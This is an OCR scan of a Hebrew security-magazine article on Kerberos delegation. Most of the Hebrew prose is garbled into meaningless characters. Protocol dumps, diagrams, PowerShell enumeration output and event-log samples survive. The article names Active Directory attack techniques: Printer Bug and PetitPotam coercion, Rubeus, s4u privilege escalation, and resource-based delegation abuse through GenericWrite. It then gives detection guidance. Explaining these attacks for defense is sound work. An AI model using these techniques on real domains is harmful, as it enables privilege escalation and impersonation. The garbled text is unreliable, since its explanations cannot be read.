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Kerberos Delegation 101
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90N W' ,NNT DY .01 1NN JI0¥] 12 D'NNVAXA DNYON VD NIX7Y ,NTLM Tz nniyY?

.(Qnxnn gloa pNIwp QXX Kerberos 7 0*71anni 17w nirvaasn ,NTLM 2y D*71yn 0NN

NIXYIN NN700 IX7 INIX 7¥17 NIYOIRNT 17w DN'Y'ON L 19 7RIvay 'Nan 711092 "M 7200
,1DIN DAY ,21710N90 7¢ ["yn TIRN 1'X'9 NI¥PA A'¥N7 NOIXR ,NT 1R LIXI7NI D71V DN |'MITa
DX PNl XY NI9PNN 190N A'XN |2 11D .1IN0N 2¥P2 NINNSNAI NIDZIN NRIYA 71¥0 NIv'Y

.0nmyn
.Kerberos Delegation 7y [21n> N12Tn X

DN'7X IXK [2NDYW ,ARIYN NIV DINKA 190NN NIRY MK VTN 7790w |"X7 7 21un ,N'wx)
ANK7Y D ,YTNA X' aion D 7D Xwina "0ty 010107 Ity X' INRNn NNVN 9102 1YY

Q177 AN DNIX 2071 DMIPNRN DNINRNYT7 D97 KN 2218 Nk

SR X7 0T Delegation 2Imd71 N'22ax87 oyo 7D 1w DL, AT 07 NN Wnnur L p I
nN70 TR "NN7en" cning nnbxm 17'o9X X'n NMavn n9I7Nn ,Google Translate-a njprTani

.©wKIn

Kerberos Delegation 101
www.DigitalWhisper.co.il
5 2022 'oOx ,138 |12




Technologic

"7 Recap

NIYXNXRA NIN'RD 70N 7V (210 71710090 DR DY M7 Tvim ' TIRN) ' 12yn Yy

Client Authentication to the AS

027w 17X .Kerberos

Key Distribution
Center (KDC)

& [

Client authentication to the AS > L Ke

E L + client + address + validity @ Msg B (Eb Kres

% L Msg A Authentication .
Server (AS) .

Client (C) '

L Ketas Client Service Authorization . .
Session key )

Signs exchanges
between C and TGS

E L + client + address + validity mMsg © :

Requested
service

client + timestamp m Msg D & KTGSE

L Kcs

For exchanges

{ L + client + address + validity I’?H Msg E

Ticket-granting

L ? ; Server (TGS)
Msg F

between C and s  Client Service Request

g L + client + address + validity @ Msg E

Requested
service

client + timestamp f;h Msg G

timestamp 2\ Msg H ‘ '
Service Server (SS)

[Kerberos :n*T19'!'1n 1wn NipY)
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'RaATw

UNNYNn DY NX 7N nwpan ,TGT-7 nwpa (Authentication Server-7 ,121mai1) KDC-7 n7w' nip'n

krbtgt XIn wpiann nN'wn TGT Nz 7w nzna ,(SPN) wziann NNtwn + (19xm X7)

Kerberos
as-req
pvno: 5
msg-type:

krb-as-req (10)

padata: 1

P

PA-DATA PA-REQ-ENC-PA-REP

item

adata-type: kRB5-PADATA-REQ-ENC-PA-REP (149)
padata-value: <MISSING>

req-body

Ccname
n

Padding: @
kdc-options: 40000010 (forwardable, renewable-ok)

ame-type: kRB5-MT-PRINCIPAL (1)

C

name-string: 1 item
CNameString: Administrator

sname
n

Fealm: SAMBA.EXAMPTE COM

ame-type: kRB5-MT-SRV-INST (2)

5

fame-string: 2 items
SNameString: krbtgt

till:

E
E
E

nonce: 1579118576
etype: 3 items

SNameString: SAMBA.EXAMPLE.COM
2015-981-30 15:17:09 (UTC)

MCTYPE: eTYPE-AES256-CTS-HMAC-SHAL1-96 (18)
MCTYPE: eTYPE-AES128-CTS-HMAC-SHAL1-96 (17)
MCTYPE: eTYPE-ARCFOUR-HMAC-MDS (23)

N7 nip?nw niwn nxt ,KDC_ERR_PREAUTH_REQUIRED :nxaw KDC-nn NO7h 727' nipn ,n'7'NN

-0 (W7D MITM w'nna Narm X721 NIpn PR RN NIR7nY axT'71) Authenticator nYw

NP 7w Nno'on Dy |9XIN timestamp VIWS XIn Authenticator

Kerberos
krb-error
pvno: 5
msg-typ
ctime:
stime:
susec:
error-c
crealm:
cname

realm:
sname

e-text:

name-type: kRB5-NT-PRINCIPAL (1)
cname-string: 1 item

name-type: kRB5-NT-5RV-INST (2)
sname-string: 2 items

e: krb-error (38)

1981-902-96 ©8:30:31 (UTC)
2015-01-29 15:17:03 (UTC)

634568

ode: eRR-PREAUTH-REQUIRED (25)
SAMBA . EXAMPLE . COM

CNameString: LOCALDC$
SAMBA . EXAMPLE . COM

SNameString: krbtgt
SNameString: SAMBA.EXAMPLE.COM
MEEDED _PREAUTH

Kerberos Delegation 101
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:Authenticator-n qin'¥xa nyon ,N1Iw AS_REQ N7 NIj'7n |on INXY?

+ Kerberos
« as-req
pvno: 5
msg-type: krb-as-req (10)
+ padata: 3 items
+ PA-DATA PA-FX-COOKIE
+ padata-type: kRB5-PADATA-FX-COOKIE (133)
padata-value: 4d4954
~ PA-DATA PA-ENC-TIMESTAMP
« padata-type: kRBS5-PADATA-ENC-TIMESTAMP (2)
» padata-value: 3041a003020112a23a0438ada57bc9613417ec74ffa3c5c3. ..
+ PA-DATA PA-REQ-ENC-PA-REP
+ padata-type: kRB5-PADATA-REQ-ENC-PA-REP (149)
padata-value: <MISSING>

+ req-body
Padding: ©
» kdc-options: 00010010 (canonicalize, renewable-ok)
« cname
name-type: kRBS5-NT-PRINCIPAL (1)
« cname-string: 1 item
CNameString: LOCALDC$
realm: SAMBA.EXAMPLE.COM
~ sname
name-type: kRB5-NT-SRV-INST (2)
« sname-string: 2 items
SNameString: krbtgt

fa ety 1V]

,MIYN 17 TN KIN ,(Authenticator-n NX NIW97 N'7¥n) NiP7n NX nnm PR KDC-nl nT'na
7¥ Nno'01 |9XIN) TGS-n 71 WWPNY? NIR'?N 710" INy¥nRaw Session Key-n NX 72 "N ,AS_REP

TGS-n 7w Xno'on DY |9X¥INN 0'01D - TGT 17 1'TN! KIN, |2 10D, (NIZ'7N

:KDC-n 711 NN7¥N2 NNTTNW NI D¥YA NIZ7N TGT-N NIY¥NXa

?

-
w
X
)
=
[
o
=4
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21%w
‘2N nwpan , TGS-7 nwiza N7W 17 XKNO'on NIYYNKA Session Key-n NX NS Ni7n
TGT-7 nwpan d 7112 Authenticator .1

(SPN) wiziann nin'wini (TGT) '8 27wa 72pnnw TGS-n 7w XN0'0 |9XIMN 0'0 DN DX .2

Kerberos
tgs-req
pvno: 5
msg-type: krb-tgs-req (12)
padata: 2 items
PA-DATA PA-TGS-REQ
padata-type: kRB5-PADATA-TGS-REQ (1)
padata-value: 6e8204b0308204acaf@3020105a10302010:2207030560000. . .
PA-DATA PA-FX-FAST
padata-type: kRB5-PADATA-FX-FAST (136)
padata-value: aP81d13081ceall73015a003020110a10e040c57b7dc7e96. ..
req-body
Padding: @
kdc-options: 40810000 (forwardable, renewable, canonicalize)
realm: SAMBA.EXAMPLE.COM
sname
name-type: kRB5-NT-PRINCIPAL (1)
sname-string: 2 items
SNameString: ldap
SName5tring: localdc.samba.example.com
till: 2015-81-30 01:17:89 (UTC)
nonce: 1422544629
etype: 3 items
ENCTYPE: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)
ENCTYPE: eTYPE-AES128-CTS-HMAC-SHA1-96 (17)
ENCTYPE: eTYPE-ARCFOUR-HMAC-MD5 (23)

TaYw
:NIRP77 TN DN DRI Authenticator-n MR XTI, 17W XNO'ON DY TGT-N NK NIWO! TGS-N
YUPIaNnn NN'YUN 7Y RNo'o1 |9XIN N'N'Y Service Ticket .1

-1 0'0YDN QPIN ,NN'YN DY A N2INAL DY DTIR AWINY Session Key-1 M1oXinn ,nooi n'7'an .2

Session Key
Package #2 Package #1
Session Key Session Key
Timestamp Session Timestamp
g Username Session 08
Service Name o Key 22 sees
Ticket lifetime # Ticket lifetime

Kerberos Delegation 101
www.DigitalWhisper.co.il
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haw

:Service-7 NIwpa 2 N71W1,N7'aNn DX NIwOSn NN

Session Key-2 [9XI' KIn WNNWNN 7W XNO'01 [9XIN NI'NY DIPNA i1 Authenticator .1
Service-N 7w KNO'01 |9X¥INW TGS-n .2
%

.Authenticator-n ¥ N19¥NN NX N9l Session Key-n NN 1101 y7n' , TGS-n NN N9' Service-n

(Timestamp-1 N'¥P™79XN DY NIX 7'2'W) Authenticator wnnwn? NITN N7IW XN |'7D 7201 NT'N2

.Session Key-n Dy |9XIN

NN7¥N NN7WIN NINTTANE MW 7w Authenticator-n TR NN NIR7N

NN NITn

D77NY DIIYAN 0'0'VIDA NITYWN 770 7Y NOYON "R AN PPN RIND ATA NINTTAN JINT
qwnna NIt var op'7n ('1D1 Renewable ,Forwardable) 0'01dn nipn ,PAC Ind WNIA DaIvN

ANXNN

0217 NI NIRYNAY YTNA XK7R VTN 7992 12 X7 ,0'0'0002 Viany YT "MXM UKD

.TIvi Checksum ,Client ID > n'9011 NITW 1DINA '7'2n Authenticator-n ,7wn% .anxn?

Delegation

:NNAITY WNNWKR NN NN20N IX7 770 DI N'¥A7T X' NN 101 N7 nn

JNKRD T 7122 N7Y wnnwn'? NNannn 0'7R

NV YT'NN AN X¥N] DTN YT'ANY [2md L[1AwNd N7 ' 90> Nnd PITa7 nxN X' ,NYd
1AUN2 N7 W' 90D NN RINPYT 'RWN 0'7X 7w wnnwnn 21,7120 7w N'ton

NIN'RY DYIYI 1190 NINT D712 7¢ NI'MAD NINWAT7 1N2NNN X7 X'NIENRIOY NYIR XD 07X
NI71Y9N NIX Y¥I7 ,07' 2w N7 NWAT RIN NXRD T'RON,[07 .]1AwNa 07 W' 90D Nnd NyT? ' 1D
.)AUN2 02N DIDO NN N7 A'¥N711770

0'"7X ,[27 .0"7X 7WU NIRYINN DK )X KIN MARNNN YT'AN DX J1IUn? 221" INRNY Nn 7y X

.12UN2 DION NN PITA71 YTNN 1ARNYT7 DY NWAT INKT7 TWUKN

A
2

3

4

nn 72V ,ANKX [IAwn o2 (0'-SPN) DRIY DNN'Y 7m NI71IV9 y¥an Nwn ,Nxa?Ta '7nna 0007

JUX27 'RUN NIN'WN Wzan 7w NI7IVO yxa?
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.NINN N7V NI'YAN DR 2% NNK 70 70 11291 ,1ITW NIFIDNO N7¥KRN VX277 NIV'Y 190N !

Unconstrained Delegation

7R 07w TGT-n NN NN'avn X' L9010 Kerberos NIy¥nXa Service A-7 nnTr 0'7X ,nT )'7nna

:Service B-7 TGS nwjpa ,TGT-N NIY¥NXA ,NNWA YX¥an XNl

Domain Contraller Service A Service B

TGT request with pre-authentication

TGS request to Service A

TGS for the user to Service A

|

|

.

TGT I
|

>

|

|

The user authenticates with the TGS and delegates his TGT
|

TGS request to Service B
using the user's TGT

TGS for the user to Service B

The service impersonates
the user with the obtained TGS

&
T T T T T T T T T T T AT T AT T e

I
I
I
I
I
I
I
I
I
|
I
I
I
I
I
I
I
I
|
I
I
I
g
I
I

- |\ '~  __________ ]

———— -

,Service A n7w m1jpna ,Unconstrained Delegation-2 wnnwin? 171nw nN'win 9w UAC-n 7y e

:TRUSTED_TO_AUTH_FOR_DELEGATION :n1Tann 7va nirn?

PS C:\Users\Administrator> Get-DomainComputer useraccountcontrol,dnshostname | f1l

dnshostname : DCO01.dev.biz.local
useraccountcontrol : SERVER_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION

dnshostname WINWS-01.dev.biz.local
useraccountcontrol : WORKSTATION_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION

NN L,0"K 7w TGT-N DX 'MIYI2 W' 0K ,7WUN7 10D ,0"NNVANN DY NIX [KD NINT? [Amd ‘01 e

Wnna o2 I PNt X7 NIXa NI71Iy921 07 NIThNNY 'nn yaim
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Constrained Delegation - s4u2proxy

1'¥'90 wnnw' Service A ,NT DI7NA ,Service A-7 17w TGT-N NX 1'avn? wnnwnnn yana Nt '7nna

.N7W TGT-2 2'TNN"%7 "7an Service B-7 07X Dwa TGS Wiza7 17 Y"WONNN s4u2proxy Kjw

0'01 Wizani , NIy wnnwnnn TGS 0'v1d DC-7 1'ayn n¥ya XN ,s4u2proxy NWPA y¥an Service A

.Service B-7 wnnwnn 11y TGS

Domain Controller Service A Service B
User

I
|
| TGT request with pre-authentication

TGT

TGS request to Service A

|
!
!
>
|
|
>
!
|

The user authenticates with the TGS
T

AP, (SN

S4U2Proxy request for a TGS
for the user to Service B
with the user's TGS

TGS for the user to Service B

The service impersonates
the user with the obtained TGS

W sl

|
|
<
|
|
[
L TGS for the user to Service A
|
|
[
|
|
|
|
|
|
|
|
|
|
|
|
|

|
|
|
|
|
I
|
I
|
I
|
|
|
I
I
| |
| |
¢ |
| I
| |
| |
| I
| I
| p
| I
| I
I I

21>'w service-1 WNXIN 1AM XIN DX 211 X 0'01D 727"l s4u2proxy-2 WNNWNYT 'KYN service A @

.Constrained Delegation yx2%
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YN DR AD-2 21Ima7 201 ,n'7R NIRWAN 7V X Service ADK NYT7 Nan 7y

msDS-AllowedToDelegateTo

svc_axis Properties ll-

Organization | Published Centficates | MemberOf | Password Replication
Dialin I Object [ Security | Enwironmeni [ Seszions
Remote control | Remote Desktop Services Profile | COM+ | Attribute Edtor |
General | Address | Accourt | Profle | Telephones | Delegation

Delegation is a security-sensitive operation, which allows senaces to act on
behalf of another user.

_) Do not trust this user for delegation
Trust this user for delegation to any service (Kerberos onlby)
(®) Trust this user for delegation to specified services orly
() Use Kerbems only
(@) Use any authentication protocol
Services to which this account can present delegated credentials:

Service Type  User or Computer Port Service N
cifs LABFS
< m >

Cleoere =

oKk || Cad || o

UAC-n 2V .n'a7T1 yxa? 710 nn'win 0'-SPN 17'K7 P12 w2 NIRTY? 7211 .Powershell Dy [amd I

:TRUSTED_TO_AUTH_FOR_DELEGATION 7w NX 790

PS C:\Users\Administrator> Get-DomainComputer useraccountcontrol,dnshostname | f1

dnshostname : DCOl.dev.biz.local
useraccountcontrol : SERVER_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION

dnshostname : WINWS-01.dev.biz.local
useraccountcontrol : WORKSTATION_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION

.SeEnableDelegation -NnxwIn 72va domain admin wnNwN NIX W' 17X NIRWIN JNY7 Nan 7y

-Tn nR 707 2N service-n '97) wnnwnn 7w Mipnn TGS-n ,s4u2proxy-1 WNNwn?

LRI N0 K7 1TN MY D JwNnnl NRN ,NRT DY forwardable

Kerberos Delegation 101
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:MS-SFU-n 72T 7y "a0on
forwardable: A flag, as specified in [RFC4120] section 2.6, used in an S4U2self KRB_TGS_REQ

message to request that the resulting service ticket be marked as forwardable, allowing it to
be used in a subsequent S4U2proxy KRB_TGS_REQ message.

s4u2self

DX N2 XY7) DN 7Y 707 nan 7V Kerberos 7w 1'¥'9 TV KR ,NNATT 7w oIl A102 NN K7

(D'wnnwnn 7 IXN 97NN 7w 0''N2 2N

Jr'van

NN RIN 78 wnnwnnn myy? TGS ar¥n? Y XN s4u2proxy-2 WnNNwn? ‘o1 nnwy '
DN NN ,7aK .17 NTRNNA KINW 197 1'% ANTTN DR WNNWANY AN2IN 7Y 210 ,NONIXK DIRT DITNNNY
'8 ANTTN NIN DX NN ,79n7 20277 NIVYANA NNY? AnTT K7 QTN wnnwnn 17 wnina
.NTLM NIY¥nKX2A 17'9X IN ?02''1T DI'RY 'WEB pwnn? Xno'ol wnnwn oW T

.s4u2proxy Y¥17 712! 1'K RINI wnNwNnn TGS-n DX 'K NN'W7,0NTd Njna

w7 0TI nNwN D10, INIXnR s4u2self 7'Y'ON X0 ,0MPNN7 17010 D 178D DMpnw nan v, P

.s4u2proxy VX217 NN 7V nTn TGS-2 wnNNWN? PN INK7I1L,INNXYY? wnnwnin 0wl TGS

Service A Domain Controller Service B

S4U2S5elf request for a user

TGS for the user to Service A

|

I

|

I

I

)

| S4U2Proxy request for a TGS

| for the user to Service B with the
| TGS obtained in the previous step
I

|
O
I

I

I

I

I

TGS for the user to Service B

-l ___|_ ¥ __|

The service impersonates the user with the obtained TGS |
| P
I |
I I
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MN MY TYIRY 19D IN)OONN WUNN UNNun? NITNNN TWOXNN NTH 1'¥'DN L'2AN7 NIY 19D e
“NTN DN R D wnnwn? D nnw P77 L(out of thin air - manx TINNI

12 wnnwnw service account-7 "w9oIxXn TrustedToAuthForDelegation

71 72§ | TrustedToAuthForDelegation-> 1 Tam X7 117w service-n X s4u2self-2 wnnwl DX e
-0 N"Ya R'N IT)s4u2proxy-2 12 wnnwn? 721 X7 P71 forwardable n'nt X7 Rin X TGS NNT

.(m>mn double hop

Resource-Based Constrained Delegation(RBCD)

7'VN7 NN 7V NN TIND NIRYIND IX W'Y 22T uxa? 7100 m o'7nn? nan v L1k 19D
17'N 0"7NNY7 D'-service-7 "WOKRNN ,Resource-Based Constrained Delegation X121 ,"w9In" NI N¥pP

.ONR AT YA 07 nnivn

DI7NA ,NNIR NIRT 190 KIN DAY XIN 7Tann ,Constrained Delegation-7 TIXn nnIT ITh nV'WN
A Tan NN'win L, (msDS-AllowedToDelegateTo NiIv¥nXa) n'¥a7T a7 710! XIn M 1970 nNw? "Tarw

:(msDS-AllowedToActOnBehalfOfOtherldentity NIyxnXA) 1"78 N'¥A?T Y¥I7 7221' M INxyY?

Service A Service B

Classic Constrained Delegation )

L

msDS-AllowedToDelegateTo=Service B Iﬁ

"outgoing" constrained delegation

Resourced-Based Constrained Delegation )

—_ el ]

msDS-AllowedToActOnBehalfOfOtherldentity=Service A Iﬁ

"incoming" constrained delegation

] _ ]
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GenericWrite NIRWIN 71 ,NINIDANIRKYIN WIITRY? o

Awn? 'Dnv) forwardable 1'Rw TGS 0'0102 WNNWNY? 2011 ,0'7 1Y TYIRY N1'yn NTI) e
resource-based constrained delegation vxa%21 (n7yn%? mavxw 9> sdu2proxy NIV¥NAXA

LTI K7 DT NIRDOVN IRWYTLITA DY T 27 020N Innpn 722 TIvn a7l

n'¥a7T niooian Nnidnn

TINN N2N TV W' 1D XX .'RIY DIIYUN N'¥a7Tn 10 7V nioolann NnidpnNN 10n 7V UNON NVD

22 XN AT™INA NI NIDAIONN NIDPNNN NKX |'1ﬁ'7 NTY'Y 0'01 NINNAIT N 17XI ndynn

Abusing Unconstrained Delegation
.TGT n2a1a X7 Unconstrained Delegation-2 wnnwin'? o1
727 NNAIT .AXA7T X7 TGT-N DR 117 11ayn71 Kerberos-1 11'71n nnkNn? 'y "y1dwl" :wnnn

.Printer Bug-a win'w X'n

nn"p 0'-DC-2 TN N'0719'T) Unconstrained Delegation Nixwan 7ya awnn 7y 07nwa :aon

(© DC-7 mitnnin? n¥N X% M1 DC AT ' DAILIT N97NNT [201?0 DN WANWAYT7 DANIXK 271 1T AXWIN

NN'RNN D'¥A7T NIRWIN 202 YN NIRIAYN DR'YYN? n0IW9S PS nTpe

Get-ADComputer -Filter {TrustedForDelegation -eq

spooler NN'wN 7w 71X ,0'7'M 'MW :Printer Bug NIYXNXA 17 AWNNN 70 NINTINY NIN'WY DNA)
DNA7 ' 12 (RpcRemoteFindFirstPrinterChangeNotificationEx 772 10 T2) RPC NTI792 win'wi NN 7u

109N NN'Y QRN 7Y 71¥97 11X DT '9'YO0N UNNNN IX7Y 2D 12711 NARNN? 1YY

NN'WY DMA7 '210Y [2md .NniY NIspnn? 12 wnnwn? 2211 21pn 7w TGT-n 1K 21121 Dxya D

:NI90I1 0T INNA 'R NINTTNY

Responder e

ARP Poisoning e

RPC NI'¥j72191 wnnwn XIn N1I09T 7 RPC NI'Y7119 DIPNA 71 NNIT NNIX] TAIyW) Petit Potam o
.0'9011 0NNl (D' v

(C#-221md) 0'0'vYdN N2A 7D NR Y¥aN Rubeus "7on

.RPC-2 12*78 NINTTNY |20177 DNA71 NW7INN DX Wwn? *1) printerbug.py 702 wnnwn? 70 e

Privilege Escalation Using s4u
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:DC-7 12y KiIn sdu2self-2 wnnw' nN'Y YUK
(mxy) nn'wn 7w TGTo'vd .1

(Administrator 7un%) "nNX wnnwn oy TGS-7 nwpa .2

oy 1'nxy? TGS n72'p ,InT1, TGT-n ¥ prn wnnwn? s4u2self nwpa nwa  TGT 1' T2 W'Y INX7
17U 2UNNN 7Y NIRYAN 07007 0IWD IX s4u2proxy 7'awl 12 WNNWN'? 72211 [Xon 1pTh wnnwn

NWA7 0'¥N 1R 72K s4u2proxy NIY¥XNRA SQL nN'wY TGS Aa'wn? 1IN7¥N1 N2 :N1'Myvn NI e

1'X SPN-D DY 0'0dN DX JNY7? 7211 ((WinRM-2 wnnwin? *12 HTTP *7IX) "R NN'w2 20177

QPN ARY 0'0DNI NINYN NY'XR DIIYA D'1N'YUN U Xno'onw 72 AYNn IMIX 2V Nl 19XIn

D'NN'YN DX NIKYY? 7211 ,001Y D'NMN'WY 10 NN 1DINA 710 SPN noxva XN HOST SPN e

AT NOPNNA Host-7 SPN-N NX NIwa DMy NN [2'7,PS NTID NIYYNXA

PS C:\Users\Administrator> Get-ADObject -Identity "CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=AD
SEC,DC=LOCAL" -properties sPMMappings

DistinguishedName : CN=Directory Service,CN=Windows NT,CH=Services,CN=Configuration,DC=ADSEC,DC=LOCAL

: Directory Service

: nTDSService

: 48747387-b607-4e02-8672-10792e79864b

: {host=alerter,appmgmt,cisvc,clipsrv,browser,dhcp,dnscache,replicator,eventlog,eventsystem,policyage
nt,oakley,dmserver,dns,mcsvc,fax,msiserver,1as,messenger,netlogon,netman,netdde,netddedsm,nmagent,p
lugplay,protectedstorage,rasman,rpclocator,rpc,rpcss,remoteaccess,rsvp,samss,scardsvr,scesrv,seclog
onasc?,dcom,cifs,spoolcr,snnp,schedulc,tapisru,lrksur,trkwks,ups,time,wins,uuu,hltp,w3suc,iisadmin,
msdtc

Hey, MSSQLSve/LABWIN10, USERO1 _
want to authenticate to you from me via Oh hey USERO1, come on in.
delegation, here's the TGS. |/
]
o
. {#’ﬁ.
SQLSA SQLSA@LABWIN10

Hey, MesQESVCHOST/LABWIN10.LAB,
H&ERO4 Administrator wants to authenticate to you
from me via delegation, here's the TGS.

4 4

Oh hey Administrator, come on in.

SQLSA SQLSA@LABWIN10
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Abuse Resource-Based Constrained Delegation

D'NN'Y Y'Y |1AwN PS Nniyxnxa wonl 17¥ nnuon nandn 12N ANKNY7I TINND I0WD WU'NON AN

S C:\tmp> Get-DomainComputer

logoncount

badpwdcount

lastlogontimestamp
rprincipalng
e

S amaccountname

odepage
samaccounttype
countrycode

n
accountexpires
whenchanged
instancetype
ysncreated
objectguid
operatingsystem
operatingsystemversion
lastlogaff

sds-allowedtoactonbehalfofotheridentity :

sbjectcaregory”
dscorepropagationdata

servicepring Ipa‘ln.l'm‘

lastlogon
iscriticalsy
ssnchanged
Jseraccountcontrol
rated
primarygroupid

object

dnshostname

where-Object

:RBCD-2 I'7X NINTTA? 0'710'w

{$_."msDS-AllowedToActOnBehal fofOther Identity™ -ne $null}

31
: 12/31/1 00:00 PM
: CN=labax wWeb-Servers ,0U=Servers ,0U=(C (:m()u! ers,OU
{top, person, organizationalPerson, user...

lab,0C=1ab,0C=local

55:09 P
local
6923091-56574964-386811330

19/2019 6:
1

: MACHINE

0
labaxis

: NEVER

: 6/20/2019 9:
4

ACCOUNT

16 PM

17933
p2-363e-441d-b580-cd32acfdf09d
2012 R2 Standard

«J

Sschielma ,CN=Configuration,DC=1ab,DC=1ocal

):16 PM, 6/20/2019 8:59:18 PM, 6/20/2019 8:57:
PM...}
TERMSRV/1abaxis.lab.local, wsMAN/labaxis,
local...}

AM

ACCOUNT, DONT_EXPIRE_PASSWORD

Lo
: 6/19/2019 9
28
labaxis
labaxis.lab

P

7w ANXN 'O 7yw) Xan wn DR PS Dy RNPY7 0 ,nRNPR7 N grm X7 wnw Nkt on

:(msDS-AllowedToActOnBehalfOfOtherldentity-aw ACL-7 Diaann Xin Microsoft
"The PrincipalsAllowedToDelegateToAccount parameter sets the Active Directory object attribute msDS-
AllowedToActOnBehalfOfOtherldentity, which contains an access control list (ACL) that specifies which

accounts have permission to delegate credentials to the associated account”

PS C:\Users\Administrator.lab> Get-ADComputer labaxis -Properties PrincipalsAllowedToDelegateToAccount

:CN=1abaxis,0U=Web-Servers,0U=Servers ,0U=Computers,0U=1ab,DC=1ab,DC=Tocal
:1abaxis.lab.local

:True

:labaxis

:computer
24oDTDh

egateToAccount

HLE!
SC e

UserPrincipalName :labaxis@lab.local

017wl DTN DY abaxis-a service 737 RBCD-2 NINTTn? nwnin sve_tomcat-w N7 701

Jlabaxis-2 Da vi7wa (17w TGS 117 n'n') wnnwna
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GenericWrtie-2a wIn'y - DaNIN

:Generic Write NINWIN 7v2 wnnwn (PS-2 2IMDW powerview 700 NIYXNXA 17 N1jPN1) TNN)

:\tmp> $tomcat_sid = "lab\svc cat" NameToSid
:\tmp> Get-DomainObjectAcl -SearchBase "LD# /Ou=Computers,0U=1ab,DC=1ab,DC=Tocal" | where-Object {$_.SecurityIdent
~ -match Stomcat_sid}

ObjectDN

ObjectSID
ActiveDirectoryRights
Binarylong(h
AceQualifier
IsCallback
lpaqueLenEth
AccessMask .

SecurityIdentifier

InheritanceFlags
PropagationFlags
AuditFlags

: CN=labaxis,OU=Web-Servers,0U=Servers,0U=Computers,0U=1ab,DC=1ab,DC=Tocal
: §-1-5-21-1046923091-56574964-3 300-1130

: ListChildren, ReadProperty,|GenericwWrite

: 36 L J

: §-1-5-21-1046923091-56574964-3868113300-1117
: AccessAllowed

: None

: False

: None

: None

: None

DY VP'NON 7Y GIT-7 MW 'MooIN)PowerSploit 721 wnnwn XiNi SID NIYXNNA Y¥ANN [XD WID'NN

V2 NIN,NRXINN 971 sve_tomcat 7w SID-n X NWO'NYW NIRYYT 7210 ,(1IT N'¥22197 "0 N Tmyn

labaxis-7 GenericWrite nIXwIN

¥ NIRWON wnnwn? o1 ,host N7 K1aw NnTyal sve_tomcat wNNwN1 0'07IY IR N ,NYD

.host Nk msDS-AllowedToActOnBehalfOfOtherldentity 11v2 labaxis-7 q'01n71 ,svc_tomcat

NT'X? NITNNNY D1 Llabaxis-7 0'010N MR 1'avn?1 host 7y s4u2proxy-2 wnnwin? 731 ,91017

IN¥1W NN'Y DTN U|73.'7I NXNIY Unnwun
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|Ann NTIAY

owl UdB0dp D"y 'O |"X'7 YN D OX Nt 92 N XN ,nyann |9'7 NninS oN'"NKX N7 MNKN2

MemberOf | Dialin |  Envionment |  Sessions
Remotecontol | Teminal ServicesProfle | COM«+
General | Addiess Account | Profie | Telephones | Organization

User logon name:
|msad2-respondeﬂ I (@testing2.0rg _'_I
User logon name (pre-Windows 2000):
IMSADZ\ ImsadZ—respondeﬂ
Logon Hours... LogOnTo... I

= Accountislocked out

Account options:

I~ Accountis trusted for delegation Al
[ 7Accountis sensiive and cannot be delegated |

I~ Use DES encryption types for this account

™ Do not require Kerberos preauthentication =

:((D1I'N7 [122) 210 RN NNATT INR YNA7 N1 RY1WRY wnnwnn D vTann Sensitive User

MYOSKNNN DN D'OR"AIRN 7w 19Mm yx¥a7 NX¥'7AN MU, NYAN DK 10NN |AN N2V ,9'0IXR 0]

.N80 NN NI'N7 DMK K7W NNIN NN, DMWY INK ApPYN YNA71,0R1UN DRAI0NN DAY T

s4u2self "n't

:EventID 4769 security log niv¥nxa s4u2self-2 wim'w nint? o0

"A Kerberos service ticket was requested"

:lAwn INIX v 0'v*ax¥n account information-nl service information-n TWK>

lA Kerberos service ticket was requested.

Account Information:

Service Information:

Account Name: serviceaS@SHENANIGANS.LABS
Account Domain: SHENANIGANS.LABS
Logon GUID: {Obabf7f0-97b0-a2fd-7ebd-e845149d7efe}

Service Name: SERVICEAS

Service ID: SHENANIGANS\SERVICEAS
Network Information:

Client Address: =ffff:172.31.15.17

Client Port: 49752
Additional Information:

Ticket Options: 0x40800018

Ticket Encryption Type:  0x12

Failure Code: 00

Transited Services:

This event is generated every time access is requested to a resource such as a computer or a
Windows service. The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields
in each event. The logon event occurs on the machine that was accessed, which is often a
different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.

Log Name: Security
ource: Microsoft Windows security Logged: 1/6/2019 5:37:03 AM
m Task Category: Kerberos Service Ticket Operation:
Level: Information Keywords: Audit Success
User: N/A Computer: DCl.sh igans.labs
OpCode: Info

More Information: Event Log Online Help
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s4u2proxy "In'T

:Security Log-2 EventID 4769 Niy¥nN2a s4u2proxy-1 Win'y NINT7 7201

A Kerberos service ticket was requested

;" 1'R additional information NNN X¥Naw transited service-n T"WKD

A Kerberos service ticket was requested.

[Account Information:

Account Name: serviceaS@SHENANIGANS.LABS

Account Domain: SHENANIGANS.LABS

Logon GUID: {Obabf7f0-97b0-a2fd-7ebd-e845149d7efe}
Service Information:

Service Name: SERVICEBS

Service ID: SHENANIGANS\SERVICEBS
Network Information:

Client Address: #ffff:172.31.15.17

Client Port: 49753

Additional Information:
Ticket Options: 0x40820010

Ticket Encryption Type:  0x12
Eauk Lade L

Transited Services:
serviceaS@SHENANIGANS.LABS

This event is generated every time access is requested to a resource such as a computer or a
|Windows service. The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields
in each event. The logon event occurs on the machine that was accessed, which is often a
different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.

Log Name: Security
20 Microsoft Windows security Logged: 1/6/2019 5:37:03 AM
Task Category: Kerberos Service Ticket Operation:
Level: Information Keywords: Audit Success
User: N/A Computer. DCl.sh gans.labs
OpCode: Info
More Information:  Event nline Hel,

msDS-AllowedToActOnBehalfOfOtherldentity 7 wn ''w nin't

A directory service object was modified

:EventID 5136-2 wnnen

nTN2 msDS-AllowedToActOnBehalfOfOtherldentity 7awn nX 7'2' Idap display name nTwn TWXD

2170 DX T'WNNY 717V 02T 1I2WN INIR 7V 0'axn subject-ni object-nl

A directory service object was modified.

Subject:
Security ID: SHENANIGANS\SERVICEBS
Account Name: SERVICEBS
Account Domain: SHENANIGANS
Logon ID: Ox11AATF
Directory Service:

Name:  shenanigans.labs
Type:  Active Directory Domain Services

Object:
